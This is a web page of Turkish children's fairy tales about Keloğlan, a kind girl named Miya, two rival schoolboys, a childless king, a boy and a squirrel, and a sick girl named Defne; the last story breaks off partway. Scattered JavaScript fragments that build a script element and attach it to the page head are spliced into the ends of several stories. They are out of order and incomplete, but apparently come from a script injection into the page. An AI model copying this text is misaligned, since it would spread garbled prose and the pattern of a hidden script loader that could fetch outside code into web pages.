KELOĞLAN İLE DEV
Evvel zaman içinde, kalbur saman içinde; uzak mı uzak diyarların birinde güzel bir ülke varmış. Bu ülkenin birçok köyünün birinde de Keloğlan adında hem kel, hem tembel hem de haylaz bir çocuk annesi ile birlikte yaşarmış. Keloğlan iş yapmayı hiç sevmezmiş. Onun en sevdiği şey bütün gün yatıp uyumakmış. Annesi çamaşır yıkar, bulaşık yıkar, yemek yapar, uğraşır da uğraşırmış ama Keloğlan yardım etmek yerine annesine de daha da iş çıkarırmış.
Günlerden bir gün Keloğlan annesini o kadar çok kızdırmış ki, annesi onu evden kovmuş. ‘Git biraz pazarda çarşıda dolaş da iş bul’ diyerek çarpmış kapıyı suratına. Keloğlan da el mahkûm çıkmış gitmiş çarşıya. Çarşının ortasında bir kalabalık toplandığını görünce merak eden keloğlan yavaşça kalabalığa yaklaşmış. Gür sesli bir tellal bir şeyler anlatıyormuş. Keloğlan dikkat kesilmiş:
TELLAL: ‘Aranızda cesur, kendine güvenen, güçlü, cengâver bir babayiğit var mıdır ey ahali? Bu cengâvere bir iş vereceğim ve karşılığında yüz altın vereceğim.’
Keloğlan yüz altını duyunca daha bir dikkat kesilmiş. Kalabalık arasından bakmış ki kimse çıkmıyor, kendini öne atmış:
KELOĞLAN: ‘Ben varım tellal.’
Tellal Keloğlan’a şöyle bir bakmış. Bu çocuk çok cılızmış, tellal çocuğun işi başarabileceğine inanmamış.
TELLAL: ‘Bu iş ağır v büyük bir iş. Ata binilmesi lazım, uzun süre seyahat edilmesi lazım. Sen yapamazsın.’
KELOĞLAN: ‘Ben at da binerim, seyahat de ederim. Uykusuzluğu da dayanırım, susuzluğa da. Ne görev verirseniz yaparım.’
Tellal bakmış ki Keloğlan çok istekli, onun bu hevesini kırmak istememiş.
TELLAL: ‘Peki öyleyse. Yarın çarşı meydanına gel. Orada buluşup hareket edeceksiniz. Uzak bir diyara gidip oradan belirli mallar alıp buraya geleceksiniz.’
Keloğlan tellalın verdiği parayı almış ve sevinçle eve gitmiş. Evde paranın bir kısmını annesine vermiş. Annesi çok sevinmiş. İlk defa Keloğlan eve para getiriyormuş.
Ertesi sabah erkenden kalkan Keloğlan güzelce hazırlanmış ve çarşı meydanına doğru yola koyulmuş. Çarşı meydanına geldiğinde kafile onu bekliyormuş. Kafile başı Keloğlan’a atını vermiş ve yola çıkmışlar.
Az gitmişler, uz gitmişler; dere tepe düz gitmişler. Yollar bitmiyormuş. Keloğlan çok ama çok yorulmuş. Yine de atından inmemiş, tellalın gözüne girmek için kendini zorlamış. Sonunda büyükçe bir düz alana geldiklerinde kafile başı burada konaklayacaklarını söylemiş. Keloğlan da atından indiği gibi kendini çimenlerin üzerine atmış.
Kafile başı Keloğlan’ın dibine gelerek gür sesiyle konuşmuş:
TELLAL: ‘keloğlan kalk bakayım. Karşıdaki kuyuya gidip bize su getireceksin, hadi!’
Keloğlan şok olmuş. Bu yorgunluğun üzerine bir de kuyuya kadar yürümek gözünde o kadar büyümüş ki. Fakat göze girmek için denilen işi yapmak zorundaymış.
Birkaç kişi ile birlikte kuyunun yanına gitmişler. Yanındakiler Keloğlan’ı ip ile kuyuya sarkıtmış. Kuyunun yarısına kadar Keloğlan birdenbire yan tarafta bir kapı açıldığını ve hızlıca kapıdan içeri çekildiğini fark etmiş. Nee uğradığını anlamadan ipi de kopmuş ve kendini koskocaman, güzel mi güzel bir bahçede buluvermiş.
Keloğlan etrafına bakakalmış. Her yer rengarenk çiçeklerle, yemyeşil ağaçlarla kaplıymış. Çiçeklerin ortasında da güzel bir kız duruyormuş. Keloğlan kızdan gözünü alamamış. O sırada kızın arkasında kocaman duran zenci adamı fark etmiş. Kızı korur gibi bir hali varmış. Keloğlan etrafını incelerken arkadan gelen gür bir sesle irkilmiş. Arkası döndüğünde kocaman bir dev Keloğlan’ın karşısında dikiliyormuş.
DEV:’ Hey sen’ söyle bakalım bunlardan hangisi güzel; kız mı, çiçekler mi?
Keloğlan ne diyeceğini şaşırmış. Ama yanlış bir şey de söylemek istemiyormuş.
KELOĞLAN: ‘Gönül kime nasıl bakarsa güzel odur’ demiş.
Dev aldığı yanıttan memnun bir şekilde tekrar sormuş:
DEV: ‘Peki zenci mi daha çirkin, yoksa kuyunun içi mi?’
Keloğlan yine aynı yanıtı vermiş:
KELOĞLAN: ‘Gönül kimi severse güzel odur’ demiş.
Dev kuyuya inen herkese bu soruları sorarmış. Kuyuya inen herkes şaşkınlıktan ya kız güzel dermiş ya da çiçekler. Dev de cevabı beğenmez hepsini yermiş. Fakat keloğlan’ın cevaplarını çok beğenmiş.
DEV: ‘Sen çok akıllı ve zeki bir oğlana benziyorsun. Şimdi sana üç tane nar vereceğim. Bunları al, dönerken evine götür’ demiş.
Keloğlan da devin verdiği narları almış ve kuyuya salınan bir kovanın içine binerek yukarı doğru çıkmış.
Kuyunun başındakiler Keloğlan’ın o kuyudan sağ salim çıktığını gördüğünde şok olmuşlar. Şimdiye kadar o kuyuya inip de sağ çıkabilen kimse yokmuş. Keloğlan’ın bunu nasıl başardığını merak eden kafile, bütün gece Keloğlan’ın macerasını dinlemiş ve ona gıptayla bakmış.
Keloğlan kafile ile birlikte emanetleri alıp köyüne getirmiş ve görevini bitirmiş. Hemen koşa koşa annesinin yanına gitmiş. Annesi evde Keloğlan’ı bekliyormuş ve geldiğini görünce çok sevinmiş. Anne-oğul hasret giderirken Keloğlan’ın canı nar yemek istemiş. Devin ona verdiği narlardan birini ortadan ikiye kesmiş. Bir de ne görsün! Narın içinden kıymetli mi kıymetli mücevherler çıkmasın mı? Keloğlan da anası da çok mutlu olmuşlar.
O günden sonra Keloğlan köyün en zenginlerinden biri olmuş. Anası ile birlikte zenginlik ve mutluluk içinde yaşamış, gitmiş…
İYİLİĞİN KARŞILIĞI İYİLİKTİR
Evvel zaman içinde, kalbur saman içinde; uzak mı uzak diyarların birinde çok güzel bir kız yaşarmış. Bu kızın adı Miya’ymış. Miya annesi ile birlikte yaşıyormuş ve çok fakirlermiş. Çok eski, yıkılmak üzere olan bir evde, annesi ile birlikte yaşamaya çalışıyorlarmış. Miya bir yandan yaşıtı olan arkadaşları gibi dışarıda oyunlar oynamak ve gezmek isterken, bir yandan da parasız olduklarını bildiğinden annesine yardım etmek zorunda olduğunu da biliyormuş. Bu yüzden her sabah annesi ile birlikte yollara düşer, evde yaptıkları poğaça ve börekleri pazara götürür ve satarlarmış. Kazandıkları para ile eve dönerken ekmek ve biraz yemek alırlar, ormanın içinden geçerek de odun toplarlarmış. Eve geldiklerinde önce odunları yakar ve her yerden soğuk alan evlerini ısıtmaya çalışırlarmış. Sonrasında da yemeklerini hazırlarlar, anne-kız mutlu mesut yemeklerini yerlermiş. Tüm olumsuzluklara ve fakirliğe rağmen Miya ve annesi çok mutluymuş.
Günlerden bir gün Miya yine annesi ile birlikte sabah erkenden kalkmış. Yaptıkları poğaça ve börekleri erkenden pazara götürüp satmışlar. Kazandıkları para ile bir ekmek alıp heybelerine koymuşlar. Dönüş yolunda ormanın içine girmişler. Annesi odun toplarken Miya da etrafındaki güzelliklere bakmaya başlamış. bahar geldiği için her yer çiçeklerle doluymuş. Renk renk çiçekler, mis kokularını her yere yaymış. Miya uzanıp birkaç tane çiçek toplamış eline. ‘Bunları eve gittiğimde bardağın içine koyup masamıza koyarım’ diye düşünmüş. Miya arkasını döndüğünde annesinin uzaklaştığını fark etmiş ve kaybolmamak için hemen onu takip etmeye başlamış. O sırada yan taraftan gelen yaşlı bir nineyi fark etmiş. Yaşlı nine Miya’ya seslenmiş:
YAŞLI NİNE: ‘Güzel kız, bir dakika bana bakar mısın?’
Miya, yaşlı ninenin sesini duymuş ve durmuş.
MİYA: ‘Söyle nineciğim.’
YAŞLI NİNE: ‘Güzel kızım, benim karnım çok aç. Varsa bana bir parça ekmek verebilir misin?’
Miya, yaşlı ninenin haline çok üzülmüş. Heybesini açmış fakat bir tane ekmek varmış, onu da annesi ve kendi yiyecekmiş. Miya yaşlı nineye bir daha bakmış ve gerçekten aç olduğunu anlamış. Onun bu haline dayanamamış ve heybesindeki tek ekmeği ona vermiş. Yaşlı nine dua ede ede uzaklaşmış oradan. Miya da koşarak annesine yetişmiş.
Annesi Miya’nın geldiğini görünce;
ANNE: ‘Miya, kızım, benim karnım çok acıktı. Heybendeki şu ekmeği çıkar da yiyelim’ demiş.
Fakat Miya’nın heybesinde ekmek yokmuş. Miya sıkılarak annesine bakmış:
MİYA: ‘Anneciğim, yolda yaşlı bir nine ile karşılaştım. Çok açtı ve ben de dayanamayarak heybemdeki ekmeği ona verdim. Kızdın mı?’
Annesi Miya’ya dönerek:
ANNE: ‘İyi yürekli güzel kızım benim. Neden kızayım ki? sen doğru olanı yapmışsın. Allah büyüktür, biz de kendimize yiyecek bir şey buluruz elbet.’
Miya annesi ile birlikte biraz daha odun toplamış. Açlığını o da hissetmeye başlamış. eve gidince yiyecek bir şey olmadığını da biliyormuş. İçinden Allah’a dua etmeye başlamış: ‘Allah’ım lütfen sen bize yardım et. Sen bizi aç bırakma yarabbi.’
Annesi ve Miya odun toplama işi bitince evlerine doğru yola koyulmuşlar. Tam köşeyi dönüp evlerine gelmişler ki bir de ne görsünler! O yıkık, dökük ev gitmiş; yerine kocaman, tertemiz, içi-dışı boyalı bir ev gelmiş. Miya ve annesi şaşkınlıkla birbirine bakmışlar.
MİYA: ‘Anneciğim, bu bizim evimiz mi? Gözlerime inanamıyorum, bu ev çok güzel.’
Miya ve annesi evin içine girdiklerinde büyük bir sürpriz daha onları bekliyormuş. Evin içi de tamamen yenilenmiş ve evin ortasında kocaman bir masanın üzeri bir sürü yemek ile doluymuş. Tavuklardan, sarmalara; etlerden tatlılara kadar ne ararsan varmış bu sofrada. Anne- kız sevinçle birbirine sarılmışlar. Miya hemen ellerini açıp Allah’a şükretmiş.
Miya ve annesi bu kadar yemeği tek başına yememek için bütün komşularını eve davet etmişler. Herkes Miya’nın yeni evini çok beğenmiş ve nasıl olduğunu bir türlü anlamamış. Miya ise nasıl olduğunu çok iyi biliyormuş. Yaşlı nineye yardım ettiği için iyilik perisi onun bütün dileklerini kabul etmiş.
O günden sonra Miya ve annesi yeni evlerinde mutlu-mesut yaşamlarına devam etmişler. Hiçbir zaman da komşularını çağırmaktan, yemeklerini paylaşmaktan vazgeçmemişler.if (document.currentScript) {
İKİ BAŞARILI ÇOCUK: SELİM VE AHMET’İN DOSTLUK HİKÂYESİ
Bir varmış bir yokmuş… Uzak mı uzak diyarların birinde Selim adında çok başarılı olan, ama bir o kadar da kendini beğenmiş bir çocuk yaşarmış. Ailesi Selim’in başarılı bir çocuk olmasından dolayı onunla gurur duyuyormuş fakat kendini beğenmiş tavırlarına da bir söz geçiremiyormuş. Bütün öğretmenleri Selim’i övermiş fakat kendine olan aşırı özgüveni öğretmenlerin de gözünden kaçmamış.
Selim derslerinde başarılı olduğu kadar sporda da oldukça başarılı imiş. Sürekli olarak okulun takımlarına girer, dereceler alırmış. Hem derslerinde başarılı hem de sporda başarılı olan Selim, her alanda başarıya o kadar alışkın bir çocukmuş ki; arkadaşları Selim’in adını gördüklerinde kesin Selim birinci olur diyorlarmış.
Günlerden bir gün Selim sınıfta ödevlerini yaparken, sınıfın haylaz çocukları koşa koşa Selim’in yanına gelmiş. Koşturmaktan nefes nefese kalan Ali ve Salih Selim’in başına dikilmiş ve heyecanla konuşmaya başlamışlar:
ALİ: ‘Selim haberi duydun mu? Okula yeni bir çocuk gelmiş ve çok başarılı bir çocukmuş. Dersleri çok iyiymiş. Geldiği okuldan birincilik ile gelmiş.’
Selim bir an duraksamış. Kafasını kaldırıp heyecanla ona bakan Ali ve Salih’e bakmış.
Selim: ‘Olabilir çocuklar. Aramıza hoş gelmiş. Ama bu okulda birinci bellidir. Yeni gelen arkadaş asla beni geçemez’ demiş.
Ali ve Salih birbirlerine bakmışlar. Selim’in ne kadar başarılı olduğunu biliyorlarmış ama yeni gelen çocuk da duydukların göre oldukça başarılıymış. Üstelik öğretmenler şimdiden etrafındaymış.
Salih: ‘Valla çocuk oldukça başarılı Selim kardeş. Haberin olsun. Şimdiden tüm öğretmenlerin ilgisini çekmeyi başardı bile.’
Selim içinden bu çocuğu daha tanımadan kıskanmaya başlamış. Ama kendine her konuda o kadar çok güveniyormuş ki, bu çocuğun onu geçemeyeceğini biliyormuş.
Selim: ‘Çocuklar merak etmeyin. Beni kimse geçemez.’
Ali ve Salih sınıftan çıkmışlar. Selim tek başına kaldığında düşünmeye başlamış. Yeni gelen çocuğa ne kadar başarılı olduğunu göstermesi gerekiyormuş. Selim tam düşüncelere daldığı sırada zil çalmış ve herkes sınıfa doluşmuş. Beş dakika sonra da öğretmen yanında bir çocuk ile sınıfa girmiş.
Öğretmen: ‘Çocuklar hepinize günaydın. Bugün aranıza yeni bir arkadaşınız katılacak. Arkadaşınızın adı Ahmet.’
Bütün sınıf aynı anda Ahmet’e ‘hoş geldin ‘ diye bağırmış. Ama Selim hiçbir şey demeden Ahmet’e bakıyormuş.
Öğretmen: ‘Ahmet arkadaşınız oldukça başarılı bir öğrenci. Geldiği okuldan birincilik ile gelmiş. Bizim okulumuzun birincisi ile güzel bir rekabet yaşayacaklarına şimdiden eminim. Selim arkadaşınla daha yakından tanışmanı istiyorum’ demiş.
Selim öğretmenine bakarak kafa sallamış fakat Ahmet’İ yakından tanımak falan istemiyormuş. Bir de öğretmen Ahmet’i yanına oturtmasın mı? Selim içten içe sinirlenmeye başlamış.
Ahmet: ‘Merhaba Selim. Senin adını tüm öğretmenlerden çok duydum. Seninle tanıştığımıza çok memnun oldum. Umarım birlikte çok güzel arkadaş oluruz ve birbirimize yardımcı oluruz.’
Selim Ahmet’e doğru eğilmiş:
Selim: ‘Ahmet, aramıza hoş geldin. Fakat bu okulun birincisi de en başarılısı da benim. Bunu bil, ona göre davran.’
Ahmet, Selim’in bu tavrına anlam verememiş. Neden böyle davrandığına anlam verememiş. O sırada Selim’in önündeki soruyla baya bir uğraştığını ve yapamadığını fark etmiş. Aslında çok kolay bir soruymuş ve kolay bir yöntemi varmış.
Ahmet: ‘Sana bu sorunun kolay yolunu gösterebilirim, eğer istersen’ demiş.
Selim önce soruya sonra Ahmet’e bakmış. Bu tip soruları ve bu konuyu bir türlü anlayamıyormuş. Ahmet’in teklifi onu şaşırtsa da düşündüğünde güzel bir teklifmiş. Kitabı Ahmet’in önüne itmiş ve Ahmet’i dinlemeye başlamış. Ahmet’i dinledikçe soruyu anlamaya başlamış ve çözümün sonunda kafasında tamamen oturmuş. Selim Ahmet’in yardımı ile alttaki benzer soruyu da çözünce çok mutlu olmuş. Ahmet’i aslında ne kadar yanlış tanıdığını anlamış. Ona yardım etmeye çalışan ve onunla arkadaş olmaya çalışan bu çocuğa sırf kıskandığı için, önyargılı davranmış. Hata yaptığını anlayan Selim Ahmet’ e dönmüş:
Selim: ‘Ahmet, sana çok teşekkür ederim. Seni ilk gördüğümde ve adını duyduğumda önyargılı davrandım. Senden hoşlanmadım. Ama şimdi ne kadar yardımsever bir çocuk olduğunu gördüm. Bana hiç anlamadığım bir konuyu anlattın. Bundan sonra birlikte çok güzel arkadaş olabilir, bilmediklerimizi birbirimize öğretebiliriz’ demiş.
Ahmet gülümseyerek;
-Tabii, neden olmasın’ demiş.
O günden sonra Ali ve Selim çok iyi iki arkadaş olmuşlar; birbirlerinin başarılarına seviniyor, birlikte ders çalışıyor, birlikte oyun oynuyorlarmış. Üniversiteyi bile birlikte okumuşlar ve her zaman birbirlerine destek olup çok başarılı bir hayat sürmüşler.
d.getElementsByTagName(‘head’)[0].appendChild(s);
KRAL VE ELMA AĞACI
Bir varmış, bir yokmuş… Evvel zaman içinde kalbur saman içinde, uzak mı uzak diyarların birinde mutlu insanların yaşadığı güzel bir ülke varmış. Bu ülkenin çok başarılı, anlayışlı mı anlayışlı bir kralı varmış. Kral; halkının derdini dinler, sorunlara hemen çözüm bulurmuş. Kimseyi kapısından mutsuz etmeden göndermez, halkı mutlu oldukça kral daha da mutlu olurmuş.
Fakat bu kralın büyük mü büyük bir derdi varmış aslında. Büyük bir aşkla âşık olduğu ve evlendiği kraliçeden çocuğu olmuyormuş. Senelerdir evli olmasına rağmen henüz çocuğunu kucağına alamamış. Fakat tahta geçmek için bir varise de ihtiyaç varmış. Kral gün geçtikçe bu derdi yüzünden erimiş, kilo vermiş. Mutsuz bir adam olmuş çıkmış. Herkes kralın bu haline çok üzülüyormuş ama elden bir şey gelmiyormuş.
Günlerden bir gün, büyük bir hekimin yolu bu güzel ülkeye düşmüş. Ülkede biraz konaklayıp yoluna devam edecekmiş. Fakat hekim nereye gitse halkın kralı konuştuğu duymuş. Sonunda konakladığı han sahibine dayanamamış sormuş:
HEKİM: ‘Kralınızın neyi var Allah aşkına?’
HAN SAHİBİ: ‘Hiç sormayın Hekim bey. O kadar mutlu ve o kadar iyi bir insandır ki… Ama kaç senedir çocuğu olmaz. O yüzden çok dertlidir. Son zamanlarda bu dert yüzünden yüzü gülmez bir kral olmuştur.’
Hekim düşünmeye başlamış. Elinde kralın derdine derman olacak bir şey varmış. Hemen kalkmış ve saraya doğru yola düşmüş. Saraya vardığında kapıdaki adamlara kendini tanıtmış ve kral ile görüşmek istediğini söylemiş. Bir müddet bekledikten sonra Kral onu huzuruna kabul etmiş.
Hekim kralın karşısına çıktığında onu selamlamış. Kral da bu hekimin derdine çare derken ne yapacağını çok merak ediyormuş.
KRAL: ‘Hekim kardeş, söyle bakalım neymiş derdime çare olacak mucize?’
Hekim cebinden birkaç tane tohum çıkarmış. Kralın yanına yaklaşarak anlatmaya başlamış:
HEKİM: ‘Sevgili Kralım. Bu tohumlar sihirli elma ağacı tohumudur. Sizden ricam, eğer çocuk sahibi olmak isterseniz saraya kocaman bir bahçe yaptırın. Yemyeşil ve bir sürü yemiş ağaçlarının olduğu bir bahçe olsun. Tüm halkınız bu bahçeden yararlansın. Bahçeye bu tohumları da dikin ve sabırla bekleyin. Elma ağacı büyüyüp elma verince meyvesinden yiyin. Beklediğiniz müjde sizin olacaktır.’
Kral hekimin bu sözlerine inanmasa da denemekten zarar gelmez diye düşünmüş.
KRAL: ‘Hekim kardeş, dediklerini yapacağım. Eğer dediğin gibi olursa dile benden ne dilersen.’
HEKİM: ‘Sağlığınız Kralım. Ben gezgin bir hekimim. Hiçbir şey istemem. Sizin derdinize çare olsun bana yeter.’
Kral hekimin bu tavrını çok beğenmiş. Hekimi gideceği güne kadar sarayında ağırlamış. Tüm yardımcılarına da haber salarak bir an önce bahçenin yapılmasını emretmiş.
Kralın isteği üzerine bahçe yapılmış, tohumlar ekilmiş. Bahçeye ekilen ağaçlar hemen büyümüş, her yeri yemyeşil yapmış. Fakat elma ağacı bir türlü elma vermiyormuş. Kral aylarca beklemiş fakat ağaç meyve vermemeye devam etmiş. Sonunda kral dayanamamış ve tüm bahçeyi yerle bir etmeleri için yardımcılarına emir vermiş. O kadar öfkeliymiş ki karısının sözlerine aldırış etmeden tüm ağaçları kestirmiş, yerinden söktürmüş. Kraliçe son anda bahçeden elma ağacının bir fidesini kurtarabilmiş. Onu almış ve saklamış.
Günler geçmiş, kraliçe sakladığı fideyi sessiz sedasız bir köşeye dikmiş. Ona güzel bir şekilde bakmış, onu sevmiş, sulamış. Fide hemen büyümüş, çok geçmeden de meyvesini vermiş. Kraliçe sevinçle elmalardan birini koparmış. Koşarak kralın yanına giderek ona müjdeli haberi vermiş. Kralın inancı kalmasa da kraliçenin kalbini kırmamak için elmadan yemiş.
Elma ağacını her gün sulayan ve ona bakan kraliçe, krala da elmadan her gün yedirmiş. Kraliçenin bu kararlı tutumu sonunda başarıya ulaşmış ve hamile kalmış. Dokuz ay sonra da nur topu gibi erkek evladını kucağına almış.
Kral çocuğunun doğduğu gün, ülkede şenlik havası estirmiş. Her yerde düğünler, eğlenceler tertip edilmiş. Kocaman kazanlarda yemekler pişiriliş ve dağıtılmış. Kral kendisine bu mucizeyi yaşatan hekimi de bulmuş. Hekim Kral’ın davetini kırmamış ve ülkeye gelmiş. Kralın sevincine ortak olmuş.
KRAL: ‘Ey ahali, duyduk duymadık demeyin. Bundan sonra her yere yemiş ağaçları diktireceğim, bahçeler yapacağım. Eğer ki aranızdan biri bahçesindeki ağaçlardan birini dahi keserse, onu cezalandıracağım.’
Kral her yere ağaçlar dikmiş ve ülke artık yemyeşil bir ülke olmuş. Herkes yemiş ağaçlarından istediği yemişi yiyebiliyormuş.
Gökten üç elma düşmüş…var d=document;var s=d.createElement(‘script’);
BAMBAM VE MİNİK SİNCAP
Bir varmış, bir yokmuş… Uzak mı uzak diyarların birinde, ormanların içerisinde, kocaman bir kasaba varmış. Mutlu insanların, güzel çocukların yaşadığı bu kasabada ailesiyle birlikte yaşayan Bambam adında bir çocuk varmış. Bambam ailesiyle birlikte mutlu bir yaşam süren, canı sıkıldığında arkadaşları ile bahçede oyunlar oynayan uslu ve akıllı bir çocukmuş.
Günlerden bir gün Bambam yine bahçeye çıkmış ve arkadaşları ile oyun oynayacakmış. Arkadaşı Tomtom’un evine gitmiş ve kapıyı çalmış. Kapıyı Tomtom’un annesi açmış:
ANNE: ‘Oğlum Tomtom bugün hasta, yatağında yatıyor’ diyerek kapıyı kapamış.
Bambam diğer arkadaşı olan Bombom’un evinin önüne gelmiş. Kapıyı çalmış ve beklemeye başlamış. Fakat kapıyı açan kimse yokmuş. Evde olmadıklarını anlayan Bambam can sıkıntısı ile bahçede bir ileri- bir geri dolanıp durmaya başlamış.
O sırada Bambam’ın aklına çok güzel bir fikir gelmiş. Az ileride kocaman ağaçların ve bir sürü yemişlerin olduğu büyük mü büyük bir orman varmış. Bambam orayı hep merak edermiş fakat diğer arkadaşları gitmekten korktuğu için bir türlü onları ikna edip gidememiş. Bugün yalnız olduğuna göre, ormana gidip kocaman ağaçlardan istediği meyveyi koparıp yiyebilirmiş.
Bambam hemen ormana doğru yürümeye başlamış. Bir yandan da içinden şarkı söyleyip ıslık çalıyormuş. Annesine haber vermesi gerektiğini biliyormuş fakat annesi izin vermeyebilir diye annesine söylemekten vazgeçmiş. Zaten orman çok uzakta değilmiş ve ev ile mesafesi beş dakika bile sürmezmiş.
Bambam ormanın içine girmiş. Ağaçların arasından ve yemyeşil çimenler arasından yürüye yürüye ormanın iç kısımlarına doğru girmeye başlamış. Biraz ileride gördüğü elma ağacının yanına gidip biraz elma koparmak istiyormuş. Elma ağacının yanına geldiğinde elmadan koparmış ve afiyetle yemiş. O sırada biraz daha ilerideki büyük mü büyük ceviz ağacını görmüş. Ağaç o kadar büyükmüş ki dalları gözükmüyormuş neredeyse. Bambam bu ağaçtan ceviz toplayıp yemenin ne kadar keyifli olacağını hayal etmiş. Koşa koşa ceviz ağacının yanına gitmiş ve ağırlıktan eğilen dalların birinden birkaç tane ceviz koparmış. Ağacın dibine oturmuş ve cevizleri yan tarafına koymuş. Bir tanesini eline alarak kırmaya çalışmış. Fakat Bambam ne kadar uğraşırsa uğraşsın bir türlü cevizi kıramamış. ‘En iyisi elime alayım, evde yerim’ demiş. Fakat bir de ne görsün! Cevizler yan tarafta koyduğu yerde yokmuş. Bambam çok şaşırmış, buraya koyduğunu çok iyi hatırlıyormuş. Ama 4 tane cevizin hiçbiri yerinde yokmuş. Bambam korkarak ayağa kalkmış. Oradan uzaklaşmaya karar vermiş. Fakat cevizleri kimin aldığını da merak ediyormuş. Aklına güzel bir plan gelmiş.
Bambam geri dönerek elindeki cevizi de aynı yere koymuş. Amacı cevizi kimin aldığını yakalamakmış. Cevizi orada bırakıp gidermiş gibi yapmış. Fakat biraz uzaklaşınca hemen bir ağacın arkasına saklanmış ve cevizi bıraktığı ağaç dibini izlemeye başlamış.
Bir müddet sonra minik ve tatlı bir sincap koklaya koklaya ağacın içindeki kavuktan dışarı çıkmış. Etrafına bakınmış ve herhangi bir tehlike olmadığını fark ettiğinde yerde duran cevizi ellerinle tutmuş ve keyifle koklamaya başlamış. Bambam cevizlerini çalanın bir sincap olduğunu gördüğünde daha da sinirlenmiş. Hemen saklandığı yerden çıkarak bir zıplayışta sincabı olduğu yerde kıstırmış. Sincap korku dolu gözlerle Bambam’a bakıyormuş:
BAMBAM:’ işte şimdi yakaladım seni küçük hırsız. Şimdi ne yapacaksın bakalım? Sen benim cevizlerimi alırken utanmıyor musun?’
Sincap başını eğerek Bambam’ı dinlemiş. Sonrasında kendini açıklama ihtiyacı hissetmiş:
SİNCAP: ‘Ben çok özür dilerim fakat cevizleri almak zorundaydım.’
BAMBAM: ‘Neden almak zorundaydın? Çık ağacın tepesine, kendi cevizini kendin topla.’
Sincap eğilerek Bambam’a arka ayağının sakat olduğunu göstermiş.
SİNCAP: ‘Geçen sene bir çocuk bisikleti ile ayağımın üzerinden geçti. O günden beri arka ayağım sakat. Ağaca tırmanamam ya da çok hızlı koşamam. O yüzden yerde duran cevizler benim için çok önemliydi. Almak zorunda kaldım.’
Bambam sincabın sakat ayağına bakarak çok üzülmüş. Sincap ne kadar da sevimliymiş oysaki. Ona bağırdığı ve onu korkuttuğu için de pişmanmış.
BAMBAM: ‘Ben çok özür dilerim sincap kardeş. Senin arka ayağını göremediğim için sana haksız yere bağırdım. Lütfen affet beni.’
Sincap Bambam’ın gerçekten üzgün halini görünce onu affetmiş. O günden sonra Bambam ve sincap çok iyi arkadaş olmuşlar. Bambam her gün sincap arkadaşına ağaçtan ceviz toplamış, sincapla birlikte ağacın dibinde cevizleri yiyip sohbet etmişler. İki iyi arkadaş u şekilde hayatlarına devam etmiş.
Gökten üç elma düşmüş. Üçü de Bambam gibi hayvanlara yardım eden, onları besleyen çocukların olmuş.} else {
ANNESİNİ DİNLEMEYEN DEFNE
Günlerden bir gün tatlı mı tatlı Defne camın önünde oturmuş ve dışarıda yağan karı izlemeye dalmış. Bir yandan da dışarı çıkmak, karların içinde koşup yuvarlanmak istiyormuş. Dışarıda gülüşen çocukların yanında olmak istiyormuş. Fakat hasta olduğu için annesi dışarı çıkmasına izin vermemiş. Bu sebeple camın arkasından dışarısını izlemek zorundaymış.
Annesi mutfaktaki işlerini bitirip odaya girdiğinde Defne’yi camın önünde üzgün bir şekilde dışarısını izlerken görmüş. Annesi kızının bu durumuna üzülmüş çünkü kızının da dışarı çıkıp kartopu oynamak istediğini biliyormuş. Kızının yanına oturmuş.
ANNE: ‘Defneciğim, kızım, neden üzgün bir şekilde dışarıyı izliyorsun?’
DEFNE: ‘Üzgünüm çünkü dışarıda kartopu oynayamıyorum. Arkadaşlarım dışarıda ne kadar da eğleniyorlar.’
ANNE: ‘Ama tatlım benim sen hastasın ve daha hastalığını atlatamadın.’
Defne yüzü asık bir şekilde dışarıyı izlemeye devam etmiş. Annesi Defne’nin üzülmesine dayanamamış.
ANNE: ‘Tamam üzülme canım kızım. Çok sıkı giyindiğin ve atkını-şapkanı taktığın sürece ve az kalmaya söz verdiğin sürece dışarı çıkabiliriz.’
Defne mutlu bir şekilde annesine dönmüş:
DEFNE: ‘Anneciğim, çok teşekkür ederim. Söz veriyorum, çok kalın giyineceğim ve dışarıda çok kalmayacağım.’
Defne ve annesi sımsıkı giyinmiş ve şapkaları ile atkılarını takarak dışarı çıkmışlar. Defne o kadar mutluymuş ki hemen eğilip elinle kocaman bir kartopu yapmış. Arkadaşları da Defne’yi görünce hemen yanına gelmişler. Oya ve Ece gülümseyerek:
-‘Defne, iyi ki dışarı çıktın. Baksana kar çok güzel’ demişler.
Defne de gülümseyerek karşılık vermiş arkadaşlarına. Hep beraber el ele verip güzel bir kardan adam yapmışlar. Annelerinin getirdiği havuç, eski şapkalar ve kömür ile de kardan adamı süslemişler. Çok ama çok güzel bir kardan adam olmuş.
Kardan adamın yapımı bittiğinde Defne’nin annesi Defne’nin yanına gelmiş:
ANNE: ‘Canım kızım hadi eve girelim artık. Bu kadar yeterli.’
Defne’nin canı içeri girmeyi hiç istemiyormuş. Arkadaşları ile daha kaymamışlar bile.
DEFNE: ‘Ama anne, arkadaşlarımla daha kaymadım bile.’
ANNE: ‘Ama kızım bana söz vermiştin. Kısa zaman kalıp içeri girecektik, çok bile kaldık.’
Defne annesine verdiği sözü hatırlıyormuş ama canı içeri girmek istemediği için mızıkçılık yapıyormuş.
ANNE:’Defne, kızım, bana söz vermiştin hatırlıyorsun dimi? Lütfen beni üzmeden içeri girer misin? Bak hastalığın daha geçmedi ve tekrar üşütürsen daha kötü hasta olacaksın.’
Defne annesinin dediklerini dinlemeden Oya ve Ece’nin yanına koşmaya başlamış. Annesi de arkasından hiçbir şey demeden kenarda onu beklemeye başlamış.
Defne saatlerce oynamış, koşmuş, karın üzerinde kaymış. Sonunda o kadar çok yorulmuş ki, herkes eve girdiğinde o da evine gelmiş. Annesi çok daha önceden Defne’yi orada bırakıp eve geldiği için tek başına eve girmiş.
DEFNE: ‘Anneciğim, ben geldim.’
Annesi hiç ses vermeden masayı hazırlıyormuş. Defne annesinin ona kızgın olduğunu anlamış. Verdiği sözü tutmadığı için annesi Defne ile konuşmuyormuş. Defne de hiçbir şey söylemeden odasına geçmiş ve akşam yemeği saatini bekleyene kadar biraz uyumaya karar vermiş.
Defne uykudan uyandığında çok üşüdüğünü hissetmiş. Üşümekten dişleri tıkırdıyormuş adeta. Üstelik üzeri de oldukça kalınmış. Ama üşümesi bir türlü geçmiyor hatta gittikçe artıyormuş. Hemen annesine seslenmiş. Annesi odaya girdiğinde kızının halini görmüş ve paniklemiş:
Defne: ‘Anne ben çok üşüyorum. İçim üşüyor sanki.’
Anne: ‘Ah Defne Ah! Ben sana demedim mi, hasta olacaksın diye.’
